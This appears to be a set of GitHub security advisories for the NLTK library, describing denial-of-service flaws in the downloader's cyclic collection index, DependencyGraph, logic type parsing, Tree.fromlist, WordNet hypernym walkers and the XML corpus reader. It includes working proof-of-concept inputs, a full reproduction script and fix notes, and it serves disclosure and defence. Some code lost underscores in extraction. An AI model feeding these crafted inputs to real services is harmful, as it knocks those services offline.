The self-checking reproduction script embedded below runs the attack against a file://-hosted index (no network server needed; the hardened nltk.pathsec.urlopen accepts local file:// URLs) and a matching acyclic control index, in separate child processes under an address-space cap (RLIMITAS). That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process — the same function, the same caller, the same finite 2-entry index — cannot finish and is aborted by MemoryError at queue.extend(child.children), proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.

Scope note: dynamically verified on the released 3.6.7, 3.9.2, and 3.10.3 wheels and on develop 6818767b9. 3.6.0–3.6.6 share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates 3.6 and earlier releases were not assessed.

Environment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks.

Live transcript (recorded run on the nltk 3.10.3 wheel; the 3.6.7, 3.9.2, and develop 6818767b9 runs produce the same 4/4 result, differing only in the downloader.py line number in the traceback — 987, 972, and 1305 respectively — and the elapsed time):

[PASS] precondition: cyclic index has a self-referencing <collection> (ref='a' inside <collection id='a'>) [PASS] precondition: acyclic control index references only packages [control] returned rc=0 in 0.2s [PASS] control: Downloader.packages() returned (no hang) [PASS] control: packages parsed = ['p1'] [PASS] control: collection 'a' closure = ['p1'] (finite, as documented) [PASS] control: acyclic index completes and yields the documented finite closure (rc=0) [attack] rc=1 after 6.6s [attack] entering Downloader.packages() on the self-referencing index ... Traceback (most recent call last): File "<string>", line 38, in <module> File "nltk/downloader.py", line 627, in packages self.updateindex() File "nltk/downloader.py", line 1305, in updateindex queue.extend(child.children) MemoryError [PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth) (rc=1, MemoryError) nltk under test: 3.10.3 RESULT 4/4 checks passed, 0 failed

The malicious index is exactly:

xml <index> <packages> <package id="p1" name="Sample corpus" subdir="corpora/p1" url="http://example.invalid/p1.zip" unzip="0" size="0" unzippedsize="0"/> </packages> <collections> <collection id="a" name="Cyclic collection"> <item ref="a"/> <item ref="p1"/> </collection> </collections> </index>

Impact

- Type: CWE-835 / CWE-400 — denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact. - Who is impacted: any deployment that uses nltk.downloader (directly, via nltk.download(), or through the Shell/GUI) against an index URL it does not fully control — third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM'd. Every entry point (download(), info(), packages(), collections(), status()) funnels through updateindex and is blocked. - Attacker requirements: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required. - Effect: the process is permanently wedged in the closure BFS — 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running nltk.download() in a script or service turns a single poisoned index into an unresolvable hang.

Suggested fix: add a visited set to the closure BFS so each Collection is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.:

python for collection in self.collections.values(): packages = {} queue = [collection] seen = set() for child in queue: if isinstance(child, Collection): if child.id in seen: continue seen.add(child.id) queue.extend(child.children) elif isinstance(child, Package): packages[child.id] = child collection.packages = packages.values()

Defense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic ref chains in Collection.fromxml / during the ref-replacement at downloader.py:1285-1290) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts packages()/info() terminate and either skip or reject the cycle.

---

Reproduction script (self-contained)

python #!/usr/bin/env python3 """Self-checking reproduction: a cyclic collection index makes nltk.downloader.Downloader.updateindex loop forever and exhaust memory.

Attack: an index XML whose <collection> references itself (or a mutual cycle) becomes an object-level cycle when updateindex replaces ref strings with real Collection objects. The package-closure walk (for child in queue: ... queue.extend(child.children)) has no visited set and no depth cap, so the queue grows forever and the function never returns.

Controls: an acyclic index of the same shape completes and yields the expected closure (the same function, the same caller, under the same memory cap); the attack never returns normally: it either keeps running past a hard timeout (observed hang) or is aborted by the child's address-space cap (unbounded memory growth) -- in both cases the exact finite input that the control handles instantly cannot be completed.

Usage: python3 repronltkdownloadercyclicindex.py [MEMCAPMIB]

Environment: NLTKWHEEL path to an nltk wheel. If import nltk fails, the wheel is installed into a scratch dir and put on PYTHONPATH for the verification children. NLTKTIMEOUT hard timeout seconds for each child (default: 60). MEMCAPMIB address-space cap per child in MiB (default: 512); can also be passed as the first positional argument. """

import os import resource import subprocess import sys import tempfile import textwrap import time from xml.etree import ElementTree

def defaultmemcap(): if len(sys.argv) > 1 and sys.argv[1] != "--child": raw = sys.argv[1] else: raw = os.environ.get("MEMCAPMIB", "512") try: value = int(raw) except (TypeError, ValueError): print("warning: invalid MEMCAPMIB %r, falling back to 512" % raw, file=sys.stderr) return "512" return str(value) if value > 0 else "512"

MEMCAPMIB = int(defaultmemcap()) CHILDTIMEOUT = float(os.environ.get("NLTKTIMEOUT", "60"))

CYCLICINDEX = """<?xml version="1.0"?> <index> <packages> <package id="p1" name="Sample corpus" subdir="corpora/p1" url="http://example.invalid/p1.zip" unzip="0" size="0" unzippedsize="0"/> </packages> <collections> <collection id="a" name="Cyclic collection"> <item ref="a"/> <item ref="p1"/> </collection> </collections> </index> """

ACYCLICINDEX = """<?xml version="1.0"?> <index> <packages> <package id="p1" name="Sample corpus" subdir="corpora/p1" url="http://example.invalid/p1.zip" unzip="0" size="0" unzippedsize="0"/> </packages> <collections> <collection id="a" name="Acyclic collection"> <item ref="p1"/> </collection> </collections> </index> """

CHILDDRIVER = r""" import os import resource import sys

import nltk import nltk.data as nltkdata

mode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]

Allow the local index file to be read under hardened pathsec (ENFORCE mode). nltkdata.path.append(workdir)

cap = int(os.environ["NLTKCHILDMEMCAPMIB"]) 1024 1024 resource.setrlimit(resource.RLIMITAS, (cap, cap))

from nltk.downloader import Downloader

downloader = Downloader(serverindexurl=url)

if mode == "control": # updateindex() runs to completion here; the acyclic closure is finite. packages = list(downloader.packages()) ids = sorted(p.id for p in packages) print("[PASS] control: Downloader.packages() returned (no hang)") assert ids == ["p1"], ids print("[PASS] control: packages parsed = %r" % ids) col = next(c for c in downloader.collections() if c.id == "a") closure = sorted(p.id for p in col.packages) assert closure == ["p1"], closure print("[PASS] control: collection 'a' closure = %r (finite, as documented)" % closure) sys.exit(0) elif mode == "attack": # This call drives updateindex -> the collection-closure BFS. The index # collection self-references itself, so the BFS never terminates; the queue # keeps growing until the address-space cap aborts the process. print("[attack] entering Downloader.packages() on the self-referencing index ...") = downloader.packages() print("[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered") sys.exit(2) else: print("[FAIL] unknown mode %r" % mode) sys.exit(2) """

def buildsiteenv(workdir): """Return (env, sitepathorNone) so the children can import nltk.""" probe = subprocess.run( [sys.executable, "-c", "import nltk"], captureoutput=True, ) if probe.returncode == 0: return dict(os.environ), None wheel = os.environ.get("NLTKWHEEL") if not wheel: return None, None site = os.path.join(workdir, "site") subprocess.run( [sys.executable, "-m", "pip", "install", "--quiet", "--target", site, wheel], check=True, ) env = dict(os.environ) env["PYTHONPATH"] = site + (os.pathsep + env["PYTHONPATH"] if env.get("PYTHONPATH") else "") return env, site

def runchild(env, script, mode, url, workdir): cmd = [sys.executable, script, "--child", mode, url, workdir] start = time.monotonic() try: proc = subprocess.run( cmd, env=env, captureoutput=True, text=True, timeout=CHILDTIMEOUT, ) timedout = False except subprocess.TimeoutExpired as exc: proc = exc timedout = True elapsed = time.monotonic() - start stdout = proc.stdout if hasattr(proc, "stdout") else "" stderr = proc.stderr if hasattr(proc, "stderr") else "" return timedout, getattr(proc, "returncode", None), stdout, stderr, elapsed

def main(): results = []

def check(name, cond, detail=""): results.append(bool(cond)) print("[%s] %s%s" % ("PASS" if cond else "FAIL", name, (" (%s)" % detail if detail else "")))

with tempfile.TemporaryDirectory(prefix="nltkcycle") as workdir: cyclicpath = os.path.join(workdir, "indexcyclic.xml") acyclicpath = os.path.join(workdir, "indexacyclic.xml") with open(cyclicpath, "w") as fh: fh.write(CYCLICINDEX) with open(acyclicpath, "w") as fh: fh.write(ACYCLICINDEX) cyclicurl = "file://" + cyclicpath acyclicurl = "file://" + acyclicpath

# --- Input modeling preconditions ------------------------------- cyc = ElementTree.parse(cyclicpath).getroot() col = cyc.find("collections/collection") check( "precondition: cyclic index has a self-referencing <collection>", col is not None and col.get("id") == "a" and any((it.get("ref") == "a" for it in col.findall("item"))), "ref='a' inside <collection id='a'>", ) acy = ElementTree.parse(acyclicpath).getroot() cola = acy.find("collections/collection") check( "precondition: acyclic control index references only packages", cola is not None and [it.get("ref") for it in cola.findall("item")] == ["p1"], )

env, site = buildsiteenv(workdir) if env is None: print("FAIL: nltk is not importable and NLTKWHEEL is unset", file=sys.stderr) return 1 childenv = dict(env) childenv["NLTKCHILDMEMCAPMIB"] = str(MEMCAPMIB)

# --- Control: acyclic index completes under the same memory cap --- t, rc, out, err, el = runchild(childenv, file, "control", acyclicurl, workdir) print("[control] returned rc=%s in %.1fs%s" % (rc, el, " (TIMEOUT)" if t else "")) if out: print(out, end="") if err: print(err, end="") check( "control: acyclic index completes and yields the documented finite closure", (not t) and rc == 0 and "collection 'a' closure = ['p1']" in (out + err), "rc=%s" % rc, )

# --- Attack: cyclic index must NOT complete ---------------------- t, rc, out, err, el = runchild(childenv, file, "attack", cyclicurl, workdir) print("[attack] rc=%s after %.1fs%s" % (rc, el, " (still running at timeout)" if t else "")) if out: print(out, end="") if err: print(err, end="") if t: check( "attack: self-referencing index hangs updateindex past the %ss timeout" % CHILDTIMEOUT, True, "process still running, queue growing unboundedly", ) elif rc is not None and rc != 0: memory = "MemoryError" in (out + err) or "MemoryError" in err check( "attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)" % MEMCAPMIB, memory, "rc=%s, %s" % (rc, "MemoryError" if memory else "non-zero exit"), ) else: check( "attack: self-referencing index hangs updateindex (vulnerability reproduced)", False, "function returned -- cyclic input was handled", )

# --- Version banner --------------------------------------------- verout = subprocess.run( [sys.executable, "-c", "import nltk; print(nltk.version)"], env=env, captureoutput=True, text=True, ).stdout.strip() print("nltk under test: %s" % (verout or "unknown"))

passed = sum(results) failed = len(results) - passed print("RESULT %d/%d checks passed, %d failed" % (passed, len(results), failed)) return 0 if failed == 0 else 1

if name == "main": if len(sys.argv) >= 2 and sys.argv[1] == "--child": os.execv(sys.executable, [sys.executable, "-c", textwrap.dedent(CHILDDRIVER)] + sys.argv[2:]) sys.exit(main())

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3767 "Prevent infinite loop from cyclic collection indices" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclicbreadthfirst).

Probe: nltk/test/unit/securityprobes/ghsapcm8fqjxrvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).

Release: none yet; no release tag contains b77d329db.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary DependencyGraph.tree()/triples() walk the parsed dependency structure using plain, unbounded Python recursion — one stack frame per edge in the graph — and never use the class's own cycle detector. A crafted dependency-parse file with a few thousand chained tokens (an entirely ordinary-looking long sentence) crashes the process with an unhandled RecursionError the moment .tree() or .triples() is called — which is NLTK's own documented usage pattern immediately after loading such a file.

Details DependencyGraph.tree() (~lines 393-406), .tree() (~408-417), and .triples() (~419-432) in nltk/parse/dependencygraph.py rebuild/walk the graph with Tree(word, [self.tree(dep) for dep in deps]) and yield from self.triples(node=dep) — ordinary recursive calls, one per edge, with no depth check. containscycle() is defined on the class (~line 447) but is never invoked by any of these three methods.

This is exactly the CWE-674 pattern the project has already identified and fixed elsewhere: nltk/tree/tree.py adds MAXTREEDEPTH = 500 with a comment stating that an arbitrarily deep tree would make every traversal raise RecursionError, and nltk/test/unit/testrecursiondos.py locks in the identical fix for FeatStructReader, LogicParser, and ResolutionProver. But DependencyGraph builds its Tree objects programmatically (Tree(word, [...])), which bypasses MAXTREEDEPTH entirely — that guard only fires inside Tree.fromstring()'s bracket-string parser, never in Tree.init. DependencyGraph's own recursive walk has no depth limit of its own.

Any Malt-TAB/CoNLL(3/4/7/10)-format text — read via DependencyCorpusReader (nltk/corpus/reader/dependency.py, lines 62-69, backing the public, documented nltk.corpus.dependencytreebank and nltk.corpus.conll2007 corpora) or via the public classmethod DependencyGraph.load(filename) (~line 213) / DependencyGraph(text) directly — that chains more tokens than Python's default recursion limit (1000) via consecutive head references crashes with an unhandled RecursionError the moment .tree()/.triples() is called. Calling .tree() immediately after parsedsents() is not a contrived edge case — it is NLTK's own documented usage pattern (nltk/test/corpus.doctest: print(conll2007.parsedsents('esp.train')[0].tree()); nltk/test/dependency.doctest: dg.tree().pprint()).

Related observation: containscycle() itself has a separate bug that means it wouldn't help even if it were called on this path — it iterates node["deps"] as if it were a flat list of neighbor addresses, but parse()/addarc() actually store deps as {relationlabel: [addresses]}; iterating that dict yields relation-label strings, which then fail the dep not in self.nodes check and get silently skipped. So containscycle() returns False (a false negative) on real parsed/addarc()-built graphs even when a genuine cycle exists — it only works on the flat-list shape used in its own docstring example. This reinforces that there is no working recursion/cycle safety net on this code path today.

PoC A tiny (few KB) 3-column Malt-TAB file: one root line w1 ROOT 0 followed by ~2000-3000 lines wi X i-1, each chaining a token to the previous one (an entirely ordinary-looking long sentence/coordination structure). Verified directly against current source:

1. Constructing a DependencyGraph from a 3000-token linear chain and calling .tree() → RecursionError: maximum recursion depth exceeded. Confirmed. 2. Same graph, .triples() fully consumed → RecursionError. Confirmed. 3. Full realistic path: wrote the 3000-token chain to a temp file, read it back through an actual DependencyCorpusReader (the exact class backing dependencytreebank/conll2007) via parsedsents(), then called .tree() on the result → RecursionError, end-to-end through the real public API.

(One honest correction to an earlier draft of this finding: a "two lines whose head columns reference each other" file-based cycle does not actually reach this crash the way it might seem — in the single-head-per-token Malt-TAB/CoNLL format, a genuine mutual-reference pair can't simultaneously be reachable from the graph's root and form a back-edge, so it either leaves self.root = None, or the pair becomes a disconnected island that's silently walked past without crashing. The long-chain vector above is the one that's fully, independently confirmed; a cycle built via direct addarc() graph manipulation does also crash, but that's a narrower trigger than a parsed file.)

Impact An unauthenticated party who can get a crafted CoNLL/Malt-TAB dependency file processed by a downstream application — a treebank upload, a shared-task submission portal, a user-editable corpus directory, or any code calling DependencyGraph.load()/DependencyGraph() on user-supplied text — crashes that request/worker/script with no further interaction needed. 100% reliable, trivial to construct.

Suggested fix: apply the same MAXTREEDEPTH-style depth guard used elsewhere in the codebase to tree()/tree()/triples(), and fix containscycle()'s dict-vs-flat-list bug so it can actually be invoked as a real safety net on this path.

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3885 "Bound recursion depth in parsers and traversal helpers" (ekaf), merged 2026-09-11, merge commit e521ecafc on develop.

Fix commit: a74682757 (nltk/parse/dependencygraph.py: tree, tree and triples stop at MAXDEPTH=200 with ValueError instead of recursing until RecursionError).

Probe: none of its own; nltk/test/unit/securityprobes/ghsaxfcvm889fmqg.py covers tree() and reports FIXED on develop 2fa3f48fe. The advisory PoC re-run on develop 2fa3f48fe (a 3000-token Malt-TAB chain): tree() and list(triples()) both raise ValueError (exceeded MAXDEPTH=200), no RecursionError.

Release: none yet; no release tag contains e521ecafc.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Root Cause The semantic-logic type parser readtype (nltk/sem/logic.py:866) recurses on both halves of every <a,b> complex type (nltk/sem/logic.py:882-884) with no depth or length bound — only an isinstance assertion and a parenthesis-balance assertion. The LogicParser.MAXPARSEDEPTH guard (nltk/sem/logic.py:107,294) protects the expression parser but never runs on the readtype path, which is reached directly by the public Type.fromstring classmethod and by signature-string type checking.

Impact An application that parses an untrusted type string, or type-checks an expression against an attacker-influenced signature, aborts with an unhandled RecursionError, terminating the affected operation or request worker (denial of service, CWE-674). The recursion is pure Python, yielding a catchable RecursionError rather than memory corruption or code execution. Confidentiality and integrity are unaffected. Exposure is narrower than a general-purpose parser because the input must reach a type-string or signature parameter.

Attack Chain 1. The application calls nltk.sem.logic.Type.fromstring(s) (nltk/sem/logic.py:736) — or Expression.typecheck(signature) / Expression.fromstring(expr, typecheck=True, signature=...), which reach readtype for each type-string signature value (nltk/sem/logic.py:1080) — with a deeply nested type string such as "<" n + "e,e" + ">" n. 2. Type.fromstring passes the string straight to readtype with no length or depth check (only assertions on type and parenthesis balance). 3. readtype recurses on both halves of each <a,b> level, consuming one stack frame per nesting level; the MAXPARSEDEPTH guard on the separate LogicParser class does not execute here. 4. Once the depth exceeds the interpreter recursion limit, an unhandled RecursionError propagates out of the public API.

Bypass Evidence Running the shipped readtype/ComplexType/Type source verbatim at the default recursion limit: depth 5 parses cleanly to a ComplexType (both assertions satisfied at every level), while depth 5000 raises an unhandled RecursionError. The clean shallow parse shows the failure is depth-driven rather than an assertion failure. A code review confirms the MAXPARSEDEPTH bound lives on the LogicParser class and is not applied to readtype, whose own module docstring for that guard explicitly names uncontrolled recursion (CWE-674) as the risk it addresses.

Suggested Fix Apply a recursion-depth bound to readtype (a depth argument raising a bounded ValueError past a configurable maximum), matching the intent of the existing LogicParser.MAXPARSEDEPTH guard so that both the expression and type-string paths are protected.

Reported by pi (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3885 "Bound recursion depth in parsers and traversal helpers" (ekaf), merged 2026-09-11, merge commit e521ecafc on develop.

Fix commit: 2f4f0d47e (nltk/sem/logic.py: readtype is bounded by LogicParser.MAXPARSEDEPTH) with a8036c5e7 (fixes a NameError in that bound).

Probe: nltk/test/unit/securityprobes/ghsaw3pvxfw4ghr7.py (added in 2a6704952 on that PR); verdict on develop 2fa3f48fe: FIXED (bounded (LogicalExpressionException)).

Release: none yet; no release tag contains e521ecafc.

1 / 2
Source: GitHub
First published (updated )
Severity
5.5
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Summary

Four hypernym-walking methods on the WordNet Synset class in nltk/corpus/reader/wordnet.py (maxdepth, mindepth, hypernympaths, and hypernymdistances) traverse the hypernym pointer graph by direct recursion with no visited-node set and no depth cap. WordNet data.<pos> file content is untrusted corpus input in NLTK, the same trust boundary the project already treats as attacker-controlled across its corpus-content hardening work. When the parsed hypernym graph contains a cycle, or a chain deeper than the interpreter recursion limit, these methods recurse without bound and raise an uncaught RecursionError, aborting the traversal and any worker that does not catch it. No special privileges are needed; the victim only has to load an attacker-supplied corpus and call any of several shipped public methods that reach these walkers.

Root Cause

Synset.maxdepth computes 1 + max(h.maxdepth() for h in hypernyms) and only assigns its maxdepth memo after that recursive expression fully returns. Because Python evaluates the right-hand side completely before binding the left-hand side, the memo is never set on a node that is still on the recursion stack, so a cyclic graph re-enters the same not-yet-memoized node indefinitely. mindepth, hypernympaths, and hypernymdistances follow the same recursive descent with no cycle detection. The security invariant that graph traversal over untrusted corpus data must terminate is violated: the pointer offsets parsed from the data file are stored verbatim with no graph-shape validation, so the attacker controls the graph topology. The sibling walkers in the same class (closure, tree, shortesthypernympaths) were hardened with acyclic/visited guards, which shows cyclic hypernym graphs are an in-scope threat that these four methods simply were not converted to handle.

text Affected functions in nltk/corpus/reader/wordnet.py: Synset.maxdepth (nltk/corpus/reader/wordnet.py:550) Synset.mindepth (nltk/corpus/reader/wordnet.py:564) Synset.hypernympaths (nltk/corpus/reader/wordnet.py:666) Synset.hypernymdistances (nltk/corpus/reader/wordnet.py:768) Untrusted pointer stored at nltk/corpus/reader/wordnet.py:1694 Re-entry edge: hypernyms() (:138) -> related('@') (:1103) -> synsetfromposandoffset (:1104)

Impact

An attacker who can supply a WordNet data.<pos> corpus file that the victim loads (for example a downloaded, mirrored, or user-provided WordNet corpus) can construct a hypernym pointer graph that is cyclic or deeper than the recursion limit. When the application then calls any hypernym-depth or path method, the walker recurses without bound and raises an uncaught RecursionError, terminating the current traversal and any request or worker process that does not handle it. Under a raised or removed recursion limit, unbounded recursion can instead exhaust the native stack and abort the process. The impact is availability only; there is no confidentiality or integrity effect. Reachable public entry points include hypernympaths and hypernymdistances directly, and maxdepth/mindepth indirectly through lowestcommonhypernyms, wupsimilarity, pathsimilarity, and lchsimilarity.

Proof of Concept

Requires only the nltk package under test on PYTHONPATH; no network or WordNet data download. The reader is instantiated with new to skip unrelated OMW/lexname loading, the same technique NLTK's own recursion-DoS hardening test uses; the parser and the walker under test are unmodified library code.

1. Build a WordNetCorpusReader without its unrelated data-loading side effects. 2. Parse two synset records whose @ (hypernym) pointers reference each other, forming a 2-cycle. 3. Call Synset.maxdepth() on one of them.

python import sys sys.setrecursionlimit(1500) from nltk.corpus.reader.wordnet import WordNetCorpusReader

reader = WordNetCorpusReader.new(WordNetCorpusReader) reader.synsetoffsetcache = {"n": {}} reader.lexnames = ["adj.all"] reader.lemmaposoffsetmap = {"w88": {"n": [88]}, "w99": {"n": [99]}}

def make(offset, partner): line = f"{offset:08d} 00 n 01 w{offset} 0 001 @ {partner:08d} n 0000 | gloss" s = reader.synsetfromposandline("n", line) reader.synsetoffsetcache["n"][offset] = s return s

a = make(88, 99) b = make(99, 88) print("hypernym pointers:", dict(a.pointers)) print("hypernyms():", a.hypernyms()) try: a.maxdepth() print("returned normally") except RecursionError: print("VULNERABLE: maxdepth() recursed without bound -> RecursionError")

text hypernym pointers: {'@': {('n', 99)}} hypernyms(): [Synset('w99.n.01')] VULNERABLE: maxdepth() recursed without bound -> RecursionError

Attack Chain

1. Exposure: The victim application loads a WordNet data.<pos> corpus file whose content is attacker-supplied. Corpus file content is untrusted input in NLTK, consistent with the project's existing corpus-content hardening. 2. Control: The attacker fully controls the @ hypernym pointer offset fields. They are parsed and stored verbatim at nltk/corpus/reader/wordnet.py:1694 with no graph-shape validation, so the attacker chooses an arbitrary graph topology (a cycle or a chain deeper than the recursion limit). 3. Path: A shipped public method reaches a walker: hypernympaths/hypernymdistances directly, or lowestcommonhypernyms/wupsimilarity/pathsimilarity/lchsimilarity via maxdepth/mindepth. hypernyms() (:138) resolves the partner synset through related('@') (:1103) and synsetfromposandoffset (:1104), which returns the same cached, still-unmemoized object. 4. Guard: The only candidate guard, the maxdepth/mindepth memo, is assigned only after the recursive expression returns, so it never protects a node still on the stack. No visited set and no depth cap exist on any of the four methods. 5. Primitive: Unbounded recursion over the attacker-chosen graph. 6. Result: Uncaught RecursionError aborts the traversal and any worker that does not catch it; native stack exhaustion and process abort are possible under a raised recursion limit. Availability impact only.

Bypass Evidence

The relevant candidate guard is the per-instance depth memo. It does not block the path: Python evaluates 1 + max(h.maxdepth() for h in hypernyms) fully before binding self.maxdepth, so during recursion the memo check "maxdepth" not in self.dict is still true when the traversal re-enters a node already on the stack. The synset offset cache does not help either; it returns the same object whose memo is still unset, and even a hypothetical fresh object per lookup would also be unmemoized, so termination is unaffected. Attempts to disprove the finding all failed: the claim that the offset cache breaks the cycle is false (same unmemoized object), the claim that no shipped public API reaches the walkers is false (hypernympaths, hypernymdistances, wupsimilarity, lowestcommonhypernyms all reach them), and the claim that the reproduction is an artifact of skipping init is false (only unrelated OMW/lexname loading is skipped; the parser and walker are unmodified). A non-cyclic hypernym chain longer than sys.getrecursionlimit() triggers the same failure, so a cycle is not even required. That the maintainers added acyclic/visited guards to the sibling walkers closure, tree, and shortesthypernympaths confirms this is an unhardened gap rather than intended behavior.

Affected Versions

- Ecosystem: PyPI - Package: nltk - Confirmed affected range: <= 3.10.3 - Latest release checked: 3.10.3 (pypi.org/pypi/nltk/json, verified 2026-09-15) - Fix status: not fixed

The four walkers and their missing guards are long-standing WordNet-reader code present in the current published artifact (3.10.3), and no fix has been released. The upper bound <= 3.10.3 is verified against the exact PyPI-published version. The lower bound is left open because the first affected release was not binary-searched; the vulnerable code predates recent releases.

Suggested Fix

Enforce bounded, cycle-safe traversal in maxdepth, mindepth, hypernympaths, and hypernymdistances. Thread a visited-node set through the recursion (skipping nodes already on the current path) and/or impose an explicit maximum depth, mirroring the acyclic helpers already used by closure, tree, and shortesthypernympaths in the same class. As an interim mitigation, applications that must process untrusted corpora can wrap calls to these methods in a RecursionError handler and set a conservative sys.setrecursionlimit, though this only converts the crash into a handled error rather than removing the unbounded traversal.

---

Reported by zx (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: IN PROGRESS (fix on an open pull request, not yet on develop).

PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144.

Fix commit: 34adf1ee4 "Bound WordNet hypernym recursion and linearize the lemma-marker regex".

No probe. The advisory PoC re-run (two synsets whose @ pointers form a 2-cycle): on the PR head maxdepth, mindepth, hypernympaths and hypernymdistances all raise ValueError; on develop 2fa3f48fe all four raise RecursionError, so develop is still VULNERABLE.

Release: none.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Root Cause Tree.fromlist (nltk/tree/tree.py:767) converts a nested list into a Tree by recursing once per nesting level (nltk/tree/tree.py:780) with no depth bound — its only validation is type(l) == list and len(l) > 0. The sibling constructor Tree.fromstring was hardened with a MAXTREEDEPTH cap (nltk/tree/tree.py:31,695) that rejects adversarially deep input with a bounded ValueError, but that guard was not applied to fromlist, which builds Tree objects identically.

Impact An application that builds a Tree from an attacker-controlled nested list — for example Tree.fromlist(json.loads(untrusted)) — aborts with an unhandled RecursionError, terminating the affected operation or request worker (denial of service, CWE-674). Any later recursive traversal of an over-deep tree (height, pformat, equality) fails the same way. The recursion is pure Python, yielding a catchable RecursionError rather than memory corruption or code execution. Confidentiality and integrity are unaffected.

Attack Chain 1. The application obtains an attacker-controlled deeply nested list, typically by decoding an untrusted JSON payload, and calls nltk.tree.Tree.fromlist(l). 2. fromlist checks only that the argument is a non-empty list; it applies no depth cap. 3. fromlist recurses once per nesting level, consuming call-stack frames; the MAXTREEDEPTH guard used by fromstring is never invoked on this path. 4. Once the nesting depth exceeds the interpreter recursion limit, an unhandled RecursionError propagates out of the public API.

Bypass Evidence Running the shipped fromlist body verbatim at the default recursion limit: depth 5 builds cleanly while depth 5000 raises an unhandled RecursionError. The realistic JSON-delivery objection does not hold: CPython's C JSON decoder tolerates far deeper nesting than the pure-Python fromlist recursion, so there is a wide window (measured from roughly depth 500 up to ~1500 at the default limit) in which json.loads succeeds and fromlist is the component that raises. Notably the fromlist crash threshold (~500) coincides with the project's own MAXTREEDEPTH = 500 — the exact depth already deemed adversarial on the string path is left unbounded on the list path.

Suggested Fix Apply the existing MAXTREEDEPTH bound (or an equivalent depth counter) inside Tree.fromlist, so the list-construction path rejects adversarially deep input with the same bounded ValueError already raised by Tree.fromstring.

Reported by pi (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3885 "Bound recursion depth in parsers and traversal helpers" (ekaf), merged 2026-09-11, merge commit e521ecafc on develop.

Fix commit: ae4c5c900 (nltk/tree/tree.py: Tree.fromlist is bounded by MAXTREEDEPTH with ValueError).

Probe: nltk/test/unit/securityprobes/ghsa63wh5r5mwxr7.py (added in 2a6704952 on that PR); verdict on develop 2fa3f48fe: FIXED (bounded (ValueError)).

Release: none yet; no release tag contains e521ecafc.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

affected: PyPI nltk >= 3.6 — nltk.corpus.reader.xmldocs.XMLCorpusView streaming read (and the npschat / framenet readers built on it) dynamically reproduced: 3.6 (6/6 checks), 3.9.2 (6/6), 3.10.3 (6/6) and develop 6818767b9 (6/6)

---

Source references (nltk/corpus/reader/xmldocs.py:NNN) are to commit 6818767b99c24659107eb2be9bccd32a3d4bf045 (develop, v3.10.3-15-g6818767b9). The released v3.10.3 wheel's xmldocs.py is byte-identical to that commit, so the same line numbers apply to the released wheel.

Summary

An attacker who can make a victim read a well-formed XML corpus file whose body contains one large comment or CDATA section can pin a CPU core for a time quadratic in the file size, because XMLCorpusView.readxmlfragment (nltk/corpus/reader/xmldocs.py) re-runs a linear whole-buffer validation after every 1 KiB block while the comment/CDATA terminator is still ahead. XMLCorpusView is NLTK's documented streaming API for XML corpora and is instantiated directly by the NPSChatCorpusReader and FramenetCorpusReader readers; the module header (xmldocs.py:16-20) explicitly handles untrusted corpus XML. The intag guard added to this function for GHSA-vp2x covers only a single oversized <...> tag and leaves the CDATA/comment path quadratic in the current release.

Details

Root cause: readxmlfragment (xmldocs.py:273-338) accumulates the file into one fragment string in BLOCKSIZE (1024) character chunks (xmldocs.py:123, 298-299). After every block that is not yet a well-formed prefix, the fragment is re-validated against VALIDXMLRE. Two whole-buffer operations dominate:

python xmldocs.py:308 if not intag and self.VALIDXMLRE.match(fragment): # whole-buffer match (O(len)) return fragment xmldocs.py:312 if re.search("[<>]", fragment).group(0) == ">": # O(1) for this input class: ... # the document starts with '<' xmldocs.py:329 if self.VALIDXMLRE.match(fragment[:lastopenbracket]): # whole-buffer prefix match (O(len)) ...

